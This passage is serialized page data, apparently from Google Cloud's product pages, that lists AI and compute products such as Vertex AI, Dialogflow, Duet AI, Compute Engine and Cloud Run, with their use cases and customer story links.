href\u003d\"https://cloud.google.com/colab/docs/introduction\"\u003eColab Enterprise\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/vertex-ai/docs/workbench/\"\u003eVertex AI Workbench\u003c/a\u003e. Access every capability in Vertex AI Platform to work across the entire data science workflow—from data exploration to prototype to production. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/vertex-ai-notebooks"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/vertex-ai-notebooks"],["track-metadata-module","categorization"],["track-metadata-module_headline","vertex ai notebooks"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eData scientist workflows\u003c/p\u003e"]],[null,[null,"\u003cp\u003eRapid prototyping and model development\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDeveloping and deploying AI solutions on Vertex AI with minimal transition\u003c/p\u003e"]]]]],[null,[[[null,[null,"AutoML"],[null,"\u003cp\u003eTrain high-quality custom machine learning models with minimal effort and machine learning expertise.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/automl"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/automl"],["track-metadata-module","categorization"],["track-metadata-module_headline","automl"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBuilding custom machine learning models in minutes with minimal expertise\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining models specific to your business needs\u003c/p\u003e"]]]]]]],[[[null,[null,"Speech, text, and language APIs"]]],[[null,[[[null,[null,"Natural Language AI "],[null,"\u003cp\u003eDerive insights from unstructured text using Google machine learning.\u003ca href\u003d\"https://cloud.google.com/natural-language\"\u003e\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/natural-language"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/natural-language"],["track-metadata-module","categorization"],["track-metadata-module_headline","natural language ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eApplying natural language understanding to apps with the Natural Language API\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining your open ML models to classify, extract, and detect sentiment\u003c/p\u003e"]]]]],[null,[[[null,[null,"Speech-to-Text"],[null,"\u003cp\u003eAccurately convert speech into text using an API powered by Google's AI technologies.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/speech-to-text"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/speech-to-text"],["track-metadata-module","categorization"],["track-metadata-module_headline","speech-to-text"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAutomatic speech recognition\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReal-time transcription\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnhanced phone call models in Google Contact Center AI\u003c/p\u003e"]]]]],[null,[[[null,[null,"Text-to-Speech"],[null,"\u003cp\u003eConvert text into natural-sounding speech using a Google AI powered API. \u003ca href\u003d\"https://cloud.google.com/text-to-speech\"\u003e\u003c/a\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/text-to-speech"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/text-to-speech"],["track-metadata-module","categorization"],["track-metadata-module_headline","text-to-speech"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eImproving customer interactions \u003c/p\u003e"]],[null,[null,"\u003cp\u003eVoice user interface in devices and applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003ePersonalized communication \u003c/p\u003e"]]]]],[null,[[[null,[null,"Translation AI"],[null,"\u003cp\u003eMake your content and apps multilingual with fast, dynamic machine translation.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/translate"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/translate"],["track-metadata-module","categorization"],["track-metadata-module_headline","translation ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eReal-time translation\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCompelling localization of your content\u003c/p\u003e"]],[null,[null,"\u003cp\u003eInternationalizing your products\u003c/p\u003e"]]]]]]],[[[null,[null,"Image and video APIs"]]],[[null,[[[null,[null,"Vision AI"],[null,"\u003cp\u003eDerive insights from your images in the cloud or at the edge with AutoML Vision or use pre-trained Vision API models to detect objects, understand text, and more.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/vision"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/vision"],["track-metadata-module","categorization"],["track-metadata-module_headline","vision ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAccurately predicting and understanding images with ML\u003c/p\u003e"]],[null,[null,"\u003cp\u003eTraining ML models to classify images by custom labels using AutoML Vision\u003c/p\u003e"]]]]],[null,[[[null,[null,"Video AI"],[null,"\u003cp\u003eEnable powerful content discovery and engaging video experiences.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/video-intelligence"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/video-intelligence"],["track-metadata-module","categorization"],["track-metadata-module_headline","video ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eExtracting rich metadata at the video, shot, or frame level\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCustom entity labels with AutoML Video Intelligence\u003c/p\u003e"]]]]]]],[[[null,[null,"Document and data APIs"]]],[[null,[[[null,[null,"Document AI"],[null,"\u003cp\u003eDocument AI includes pre-trained models for data extraction, \u003ca href\u003d\"https://cloud.google.com/document-ai-workbench/\"\u003eDocument AI Workbench\u003c/a\u003e to create new custom models or uptrain existing ones, and \u003ca href\u003d\"https://cloud.google.com/document-warehouse/docs/overview\"\u003eDocument AI Warehouse\u003c/a\u003e to search and store documents. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/document-ai"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/document-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","document ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eExtracting, classifying, and splitting data from documents \u003c/p\u003e"]],[null,[null,"\u003cp\u003eReducing manual document processing and minimizing setup costs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGaining insights from document data\u003c/p\u003e"]]]]]]],[[[null,[null,"AI assistance and conversational AI"]]],[[null,[[[null,[null,"Dialogflow"],[null,"\u003cp\u003eConversational AI platform with both intent-based and generative AI LLM capabilities for building natural, rich conversational experiences into mobile and web applications, smart devices, bots, interactive voice response systems, popular messaging platforms and more. Features a visual builder to create, build and manage virtual agents. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/dialogflow"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/dialogflow"],["track-metadata-module","categorization"],["track-metadata-module_headline","dialogflow"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eNatural interactions for complex multi-turn conversations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding and deploying advanced agents quickly\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnterprise-grade scalability\u003c/p\u003e"]],[null,[null,"\u003cp\u003eBuilding a chatbot based on a website or collection of documents\u003c/p\u003e"]]]]],[null,[[[null,[null,"Contact Center AI"],[null,"\u003cp\u003eTransform your contact center with AI technology (\u003ca href\u003d\"https://cloud.google.com/dialogflow\"\u003eDialogflow CX\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/agent-assist\"\u003eAgent Assist\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/solutions/ccai-insights\"\u003eCCAI Insights\u003c/a\u003e). Increase operational efficiency and personalized customer care. CCAI is both an end-to-end CCaaS solution with its own call center solution (\u003ca href\u003d\"https://cloud.google.com/solutions/contact-center-ai-platform\"\u003eCCAI Platform\u003c/a\u003e) and as set of Google AI services for contact center use cases that can work with 3rd party call center solutions\u003c/p\u003e"]],[[null,null,"https://cloud.google.com"],{"10000":[[["track-metadata-eventdetail","cloud.google.com"],["track-metadata-module","categorization"],["track-metadata-module_headline","contact center ai"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCreating advanced virtual agents in minutes that smoothly switch between topics\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReal-time, step-by-step assistance for human agents\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMultichannel communications between customers and agents\u003c/p\u003e"]]]]],[null,[[[null,[null,"Duet AI for Google Cloud"],[null,"\u003cp\u003eDuet AI offers code recommendations in real time, suggests full function and code blocks, and identifies vulnerabilities and errors in the code—while suggesting fixes. Assistance can be accessed via a chat interface, Cloud Shell Editor, or Cloud Code IDE extensions for VSCode and JetBrains IDEs. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/duet-ai#section-1"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/duet-ai"],["track-metadata-module","categorization"],["track-metadata-module_headline","duet ai for google cloud"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCode assistance for Go, Java, Javascript, Python, and SQL\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSQL completions, query generation, and summarization using natural language \u003c/p\u003e"]],[null,[null,"\u003cp\u003eSuggestions to structure, modify, or query your data during database migration\u003c/p\u003e"]],[null,[null,"\u003cp\u003eIdentify and troubleshoot errors using natural language\u003c/p\u003e"]]]]]]],[[[null,[null,"AI Infrastructure"]]],[[null,[[[null,[null,"TPUs, GPUs, and CPUs"],[null,"\u003cp\u003eHardware for every type of AI workload from our partners, like NVIDIA, Intel, AMD, Arm and more, We provide customers with the widest range of AI-optimized compute options across \u003ca href\u003d\"https://cloud.google.com/tpu\"\u003eTPUs\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/gpu\"\u003eGPUs,\u003c/a\u003e and \u003ca href\u003d\"https://cloud.google.com/compute\"\u003eCPUs \u003c/a\u003efor training and serving the most data-intensive models. \u003c/p\u003e"]],[[null,null,"/ai-infrastructure/"],{"10000":[[["track-metadata-eventdetail","ai-infrastructure"],["track-metadata-module","categorization"],["track-metadata-module_headline","tpus, gpus, and cpus"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAI Accelerators for every use case from high performance training to inference\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAccelerating specific workloads on your VMs\u003c/p\u003e"]],[null,[null,"\u003cp\u003eSpeeding up compute jobs like machine learning and HPC\u003c/p\u003e"]]]]]]],[[[null,[null,"Consulting service"]]],[[null,[[[null,[null,"AI Readiness Program"],[null,"\u003cp\u003eOur AI Readiness Program is a 2-3 week engagement designed to accelerate value realization from your AI efforts. Our experts will work with you to understand your business objectives, benchmark your AI capabilities, and provide tailored recommendations for your needs.\u003c/p\u003e\n\u003cp\u003eSee our entire \u003ca href\u003d\"http://cloud.google.com/consulting\"\u003econsulting portfolio\u003c/a\u003e or \u003ca href\u003d\"https://cloud.google.com/contact?direct\u003dtrue\"\u003econtact sales\u003c/a\u003e to get started. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/consulting/ai-readiness-workshop"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/consulting/ai-readiness-workshop"],["track-metadata-module","categorization"],["track-metadata-module_headline","ai readiness program"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eAI value benchmarking and capability assessment\u003c/p\u003e"]],[null,[null,"\u003cp\u003eReadout and recommendations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAI planning and roadmapping \u003c/p\u003e"]]]]]]]],true],{"10000":[[["track-metadata-module","categorization"]],191704]}],[5,[[[null,[null,"Ready to start building with AI?"]]],[[[null,null,[null,"Unlock the power of AI with tools and services for any level of skills."]],[[null,null,"https://cloud.google.com/contact"],"Contact us",3,{"10000":[[["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to start building with ai?"],["track-name","contact us"]],192550]}]],[[null,null,[null,"Gartner names Google Cloud a Leader in the 2023 Magic Quadrant for Cloud AI Developer Services"]],[[null,null,"https://cloud.google.com/resources/gartner-mq-for-cloud-ai-developer-services"],"Download the report",{"10000":[[["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/resources/gartner-mq-for-cloud-ai-developer-services"],["track-metadata-module","conversion"],["track-metadata-module_headline","ready to start building with ai?"],["track-name","download the report"]]]}]]]],{"10000":[[["track-metadata-module","conversion"]],191696]}],[69,null,null,[[[[null,[null,"Learn from our customers"],[null,"\u003cp\u003eSee how developers and data scientists are using our tools to leverage the power of AI\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/customers"],"See all customers",14,{"10000":[[["track-metadata-eventdetail","cloud.google.com/customers"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","see all customers"]]]}]]],[[[[[null,"Blog post"],[null,"Priceline rolls out new gen AI powered tools to enhance trip planning and improve employee productivity"],[null,"5-min read"]],[[null,null,"https://www.reuters.com/technology/googles-ai-power-virtual-travel-agent-priceline-2023-06-06/"],{"10000":[[["track-metadata-child_headline","priceline rolls out new gen ai powered tools to enhance trip planning and improve employee productivity"],["track-metadata-child_index","1"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.reuters.com/technology/googles-ai-power-virtual-travel-agent-priceline-2023-06-06"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","priceline rolls out new gen ai powered tools to enhance trip planning and improve employee productivity"]]]}]],[[null,null,"https://lh3.googleusercontent.com/2fC4wKL0MJXi3H4s7ob_4-Rv8AMPYG9u8KRwD1l2lur0SDB_sJRUwfnoxX2VYdEAzRpTT9sTXBqKIQ"],null,null,true,null,null,null,null,[null,"Priceline in blue"]]],[[[[null,"Blog post"],[null,"Orange utilizes AI to tackle a range of projects from retail recommendations to complex wiring jobs"],[null,"5-min read"]],[[null,null,"https://cloud.google.com/blog/products/ai-machine-learning/orange-three-unexpected-lessons-about-ai-in-business"],null,4,{"10000":[[["track-metadata-child_headline","orange utilizes ai to tackle a range of projects from retail recommendations to complex wiring jobs"],["track-metadata-child_index","2"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/blog/products/ai-machine-learning/orange-three-unexpected-lessons-about-ai-in-business"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","orange utilizes ai to tackle a range of projects from retail recommendations to complex wiring jobs"]],192551]}]],[[null,null,"https://lh3.googleusercontent.com/2M-qq__9t4Nyel4PLsmog66Wq_L2jfarq1rcNJhkgrRh5ZkotMa-qzwZh17c977oH19f0NfMpI7g"],null,null,true,null,null,null,null,[null,"Orange logo"]]],[[[[null,"Blog post"],[null,"Christus Muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"],[null,"5-min read"]],[[null,null,"https://cloud.google.com/customers/christus-muguerza"],null,14,{"10000":[[["track-metadata-child_headline","christus muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"],["track-metadata-child_index","3"],["track-metadata-child_total","4"],["track-metadata-eventdetail","cloud.google.com/customers/christus-muguerza"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-name","christus muguerza developed a model that can predict 77% of acute pain in patients undergoing surgery"]]]}]],[[null,null,"https://lh3.googleusercontent.com/4C9hlRFzGsfSCedQsKuEGlQiqHIkez40XBqPXmBeKOi8IEk_R-pQTwztIosH_qZxLIf43MMVZnk"],null,null,true,null,null,null,null,[null,"Christus Muguerza logo"]]],[[[[null,"Case study"],[null,"Wisconsin Department of Workforce Development cleared a backlog of 777,000 claims with the help of Doc AI"],[null,"Video (3:14)"]],[[null,null,"https://www.youtube.com/watch?v\u003drM7fTXpQQog"],null,12,{"10000":[[["track-metadata-child_headline","wisconsin department of workforce development cleared a backlog of 777,000 claims with the help of doc ai"],["track-metadata-child_index","4"],["track-metadata-child_total","4"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","customer"],["track-metadata-module_headline","learn from our customers"],["track-metadata-video-id","rm7ftxpqqog"],["track-name","wisconsin department of workforce development cleared a backlog of 777,000 claims with the help of doc ai"]],192559]}]],[[null,null,"https://lh3.googleusercontent.com/p3RLEWv9cKxw7uWUW1oAxZtSwB4PqsydDKtnry-tN5dU8PKUSEjgg8idTr3tW2moIAbGGoTu4icv2Q"],null,null,true,null,null,null,null,[null,"Wisconsin Department of Workforce Development"]]]]],{"10000":[[["track-metadata-module","customer"]],191759]}],[19,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[[null,null,[null,"\u003cp\u003eCloud AI products comply with \u003ca href\u003d\"https://cloud.google.com/terms/sla\"\u003eour SLA policies\u003c/a\u003e. They may offer different latency or availability guarantees from other Google Cloud services.\u003c/p\u003e"]]],{"10000":[[["track-metadata-module","legal"]],191709]}],[4,[[[null,[null,"Take the next step"],[null,"Start building on Google Cloud with $300 in free credits and 20+ always free products."]],[[null,null,"https://console.cloud.google.com/freetrial"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","get started for free"]],192548]}]],[[[null,[null,"Need help getting started?"]],[[null,null,"https://cloud.google.com/contact/"],"Contact sales",3,{"10000":[[["track-metadata-child_headline","need help getting started?"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","contact sales"]],192550]}]],[[null,[null,"Work with a trusted partner"]],[[null,null,"https://cloud.google.com/find-a-partner/"],"Find a partner",15,{"10000":[[["track-metadata-child_headline","work with a trusted partner"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/find-a-partner"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","find a partner"]]]}]],[[null,[null,"Continue browsing"]],[[null,null,"https://cloud.google.com/products/"],"See all products",{"10000":[[["track-metadata-child_headline","continue browsing"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/products"],["track-metadata-module","ankle"],["track-metadata-module_headline","take the next step"],["track-name","see all products"]]]}]]]],{"10000":[[["track-metadata-module","ankle"]],191691]}]],[[null,null,[null,"Learn how to build the next generation of AI applications. Join the \u003ca href\u003d\"https://cloudonair.withgoogle.com/events/summit-applied-ml-summit-23?utm_source\u003dcgc-site\u0026utm_medium\u003det\u0026utm_campaign\u003dFY23-Q4-global-EXP24-onlineevent-er-applied-ml-summit-2023-mc\u0026utm_content\u003dbutterbar\u0026utm_term\u003d-\"\u003eApplied AI Summit\u003c/a\u003e on December 13th."]]],{"10000":[null,191556]}]]]]]],["/products/compute",[[["fte",[[15,["FRtlUUDIibts","US","Cloud Computing Products | Google Cloud","Compute products from Google Cloud. Find the right compute offering for your needs, including VMs, GPUs, dedicated hardware, and more.","Tiered Wayfinding Template"],[[1,null,[[[null,[null,"Google Cloud compute products"],[null,"\u003cp\u003eLaunch and learn pre-configured solutions—developed by Google Cloud experts—to help you deploy load-balanced virtual machines, Java applications, and other compute use cases.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/solutions#section-3"],"Get started for free",1,{"10000":[[["track-metadata-eventdetail","cloud.google.com/solutions#section-3"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud compute products"],["track-name","get started for free"]],192548]}],[[null,null,"https://cloud.google.com/contact"],"Contact sales",3,{"10000":[[["track-metadata-eventdetail","cloud.google.com/contact"],["track-metadata-module","hero"],["track-metadata-module_headline","google cloud compute products"],["track-name","contact sales"]],192550]}]],null,[]],{"10000":[[["track-metadata-module","hero"]],191692]}],[35,null,null,[null,[[[[null,[null,"Deploy a cluster of load-balanced virtual machines"],[null,"Learn how to quickly create a globally available VM cluster and instantaneously manage traffic with this interactive solution."]],[[null,null,"https://cloud.google.com/solutions/load-balanced-vms#solution-details"],{"10000":[[["track-metadata-child_headline","deploy a cluster of load-balanced virtual machines"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/load-balanced-vms#solution-details"],["track-metadata-module","featured ctas"],["track-name","deploy a cluster of load-balanced virtual machines"]]]}]]],[[[null,[null,"Deploy a Java application with Compute Engine"],[null,"Learn how to deploy a preconfigured, publicly accessible web application (xWiki) using Compute Engine in this interactive solution."]],[[null,null,"https://cloud.google.com/solutions/java-app#solution-details"],{"10000":[[["track-metadata-child_headline","deploy a java application with compute engine"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/java-app#solution-details"],["track-metadata-module","featured ctas"],["track-name","deploy a java application with compute engine"]]]}]]],[[[null,[null,"Migrate your applications to Google Cloud"],[null,"Improve application performance, scale, and security while reducing on-premises costs."]],[[null,null,"https://cloud.google.com/solutions/application-migration"],{"10000":[[["track-metadata-child_headline","migrate your applications to google cloud"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/solutions/application-migration"],["track-metadata-module","featured ctas"],["track-name","migrate your applications to google cloud"]]]}]]]]],{"10000":[[["track-metadata-module","featured ctas"]],191725]}],[14,null,null,null,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"Explore cloud computing products and services"]]],[[null,[null,"Category"]],[null,[null,"Product"]],[null,[null,"Use cases"]]],[[[[null,[null,"Cloud computing"]]],[[null,[[[null,[null,"Compute Engine"],[null,"\u003cp\u003eHigh-performance and general purpose VMs that integrate easily with other Google Cloud services and scale globally.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/compute "],{"10000":[[["track-metadata-eventdetail","cloud.google.com/compute"],["track-metadata-module","categorization"],["track-metadata-module_headline","compute engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eLOB and enterprise apps\u003c/p\u003e"]],[null,[null,"\u003cp\u003eWeb hosting\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDatabases\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMost workloads\u003c/p\u003e"]]]]]]],[[[null,[null,"Migration"]]],[[null,[[[null,[null,"Migrate to Virtual Machines"],[null,"\u003cp\u003eThe fast, flexible, and safe way to migrate applications from on-premises, multiple data centers, or multiple clouds to Google Cloud.\u003c/p\u003e"]],[[null,null,"/migrate/virtual-machines/"],{"10000":[[["track-metadata-eventdetail","migrate/virtual-machines"],["track-metadata-module","categorization"],["track-metadata-module_headline","migrate to virtual machines"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eEfficient migration\u003c/p\u003e"]],[null,[null,"\u003cp\u003eProvisioning and rightsizing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eOn-premises stateful rollback\u003c/p\u003e"]]]]]]],[[[null,[null,"Add-ons and features"]]],[[null,[[[null,[null,"Tau VMs"],[null,"\u003cp\u003eCompute Engine virtual machines optimized for scale-out workloads.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/tau-vm"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/tau-vm"],["track-metadata-module","categorization"],["track-metadata-module_headline","tau vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eWeb servers\u003c/p\u003e"]],[null,[null,"\u003cp\u003eContainerized microservices\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedia transcoding\u003c/p\u003e"]],[null,[null,"\u003cp\u003eLarge scale Java applications\u003c/p\u003e"]]]]],[null,[[[null,[null,"Cloud GPUs"],[null,"\u003cp\u003eHigh-performance, flexibly priced, customizable GPUs for machine learning, scientific computing, and 3D visualization.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/gpu "],{"10000":[[["track-metadata-eventdetail","cloud.google.com/gpu"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud gpus"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eMachine learning\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedical analysis\u003c/p\u003e"]],[null,[null,"\u003cp\u003eGraphic visualization\u003c/p\u003e"]],[null,[null,"\u003cp\u003eVideo transcoding\u003c/p\u003e"]]]]],[null,[[[null,[null,"Spot VMs"],[null,"\u003cp\u003eAffordable, short-lived compute instances suitable for batch jobs and fault-tolerant workloads.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/preemptible-vms"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/preemptible-vms"],["track-metadata-module","categorization"],["track-metadata-module_headline","spot vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eHadoop and big data\u003c/p\u003e"]],[null,[null,"\u003cp\u003eFinancial modeling\u003c/p\u003e"]],[null,[null,"\u003cp\u003eRendering\u003c/p\u003e"]],[null,[null,"\u003cp\u003eMedia transcoding\u003c/p\u003e"]]]]],[null,[[[null,[null,"Shielded VMs"],[null,"\u003cp\u003eHardened virtual machines to help protect against remote attacks, privilege escalation, and malicious insiders and ensure your workloads are trusted and verifiable.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/shielded-vm"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/shielded-vm"],["track-metadata-module","categorization"],["track-metadata-module_headline","shielded vms"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eDefense against rootkits and bootkits\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnterprise workload protection\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEnable \u003ca href\u003d\"https://www.uefi.org/sites/default/files/resources/UEFI_Secure_Boot_in_Modern_Computer_Security_Solutions_2013.pdf\"\u003eUEFI Secure Boot\u003c/a\u003e capability\u003c/p\u003e"]]]]],[null,[[[null,[null,"Sole-tenant nodes"],[null,"\u003cp\u003eDedicated hardware—physical Compute Engine servers dedicated to your workloads—for your compliance, licensing, and management needs.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/sole-tenant-nodes"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/sole-tenant-nodes"],["track-metadata-module","categorization"],["track-metadata-module_headline","sole-tenant nodes"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eBring your own license (BYOL)\u003c/p\u003e"]],[null,[null,"\u003cp\u003eDedicated compute for workloads\u003c/p\u003e"]]]]],[null,[[[null,[null,"Confidential Computing"],[null,"\u003cp\u003eConfidential VMs are a breakthrough technology that allow customers to encrypt their sensitive data in the cloud while it’s being processed.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/confidential-computing"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/confidential-computing"],["track-metadata-module","categorization"],["track-metadata-module_headline","confidential computing"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eCollaborate while preserving data confidentiality\u003c/p\u003e"]],[null,[null,"\u003cp\u003eEncrypt data in use without making any code changes\u003c/p\u003e"]]]]],[null,[[[null,[null,"Recommender"],[null,"\u003cp\u003eEmpower your team to automatically detect issues like overly permissive access, wrongly sized VM instances, or idle resources with easily actionable recommendations.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/recommender"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/recommender"],["track-metadata-module","categorization"],["track-metadata-module_headline","recommender"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eMachine type recommendations\u003c/p\u003e"]],[null,[null,"\u003cp\u003eCost-optimization recommendations\u003c/p\u003e"]]]]]]],[[[null,[null,"Related products"]]],[[null,[[[null,[null,"Batch"],[null,"\u003cp\u003eFully managed and dynamically scalable batch service to schedule, queue, and execute containerized or script-based batch jobs on Compute Engine.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/batch/"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/batch"],["track-metadata-module","categorization"],["track-metadata-module_headline","batch"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eHPC Workloads\u003c/p\u003e"]],[null,[null,"\u003cp\u003eETL and data processing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eThroughput-oriented tasks\u003c/p\u003e"]]]]],[null,[[[null,[null,"Google Kubernetes Engine"],[null,"\u003cp\u003eA reliable, efficient, and secure way to deploy containerized applications on Kubernetes.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/kubernetes-engine"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/kubernetes-engine"],["track-metadata-module","categorization"],["track-metadata-module_headline","google kubernetes engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eSecurely speed up app development\u003c/p\u003e"]],[null,[null,"\u003cp\u003eStreamline operations with release channels\u003c/p\u003e"]],[null,[null,"\u003cp\u003eManage infrastructure with Google SREs\u003c/p\u003e"]]]]],[null,[[[null,[null,"Cloud Run"],[null,"\u003cp\u003eDevelop and deploy highly scalable containerized applications on fully managed Cloud Run or on Cloud Run for Anthos.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/run"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/run"],["track-metadata-module","categorization"],["track-metadata-module_headline","cloud run"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eWeb services\u003c/p\u003e"]],[null,[null,"\u003cp\u003eData processing\u003c/p\u003e"]],[null,[null,"\u003cp\u003eAutomation\u003c/p\u003e"]]]]],[null,[[[null,[null,"App Engine"],[null,"\u003cp\u003eBuild highly scalable applications on a fully managed serverless platform using open and familiar languages and tools.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/appengine"],{"10000":[[["track-metadata-eventdetail","cloud.google.com/appengine"],["track-metadata-module","categorization"],["track-metadata-module_headline","app engine"]]]}]],[]]],[null,null,null,[null,null,null,[[null,[null,"\u003cp\u003eModern web applications\u003c/p\u003e"]],[null,[null,"\u003cp\u003eScalable mobile back 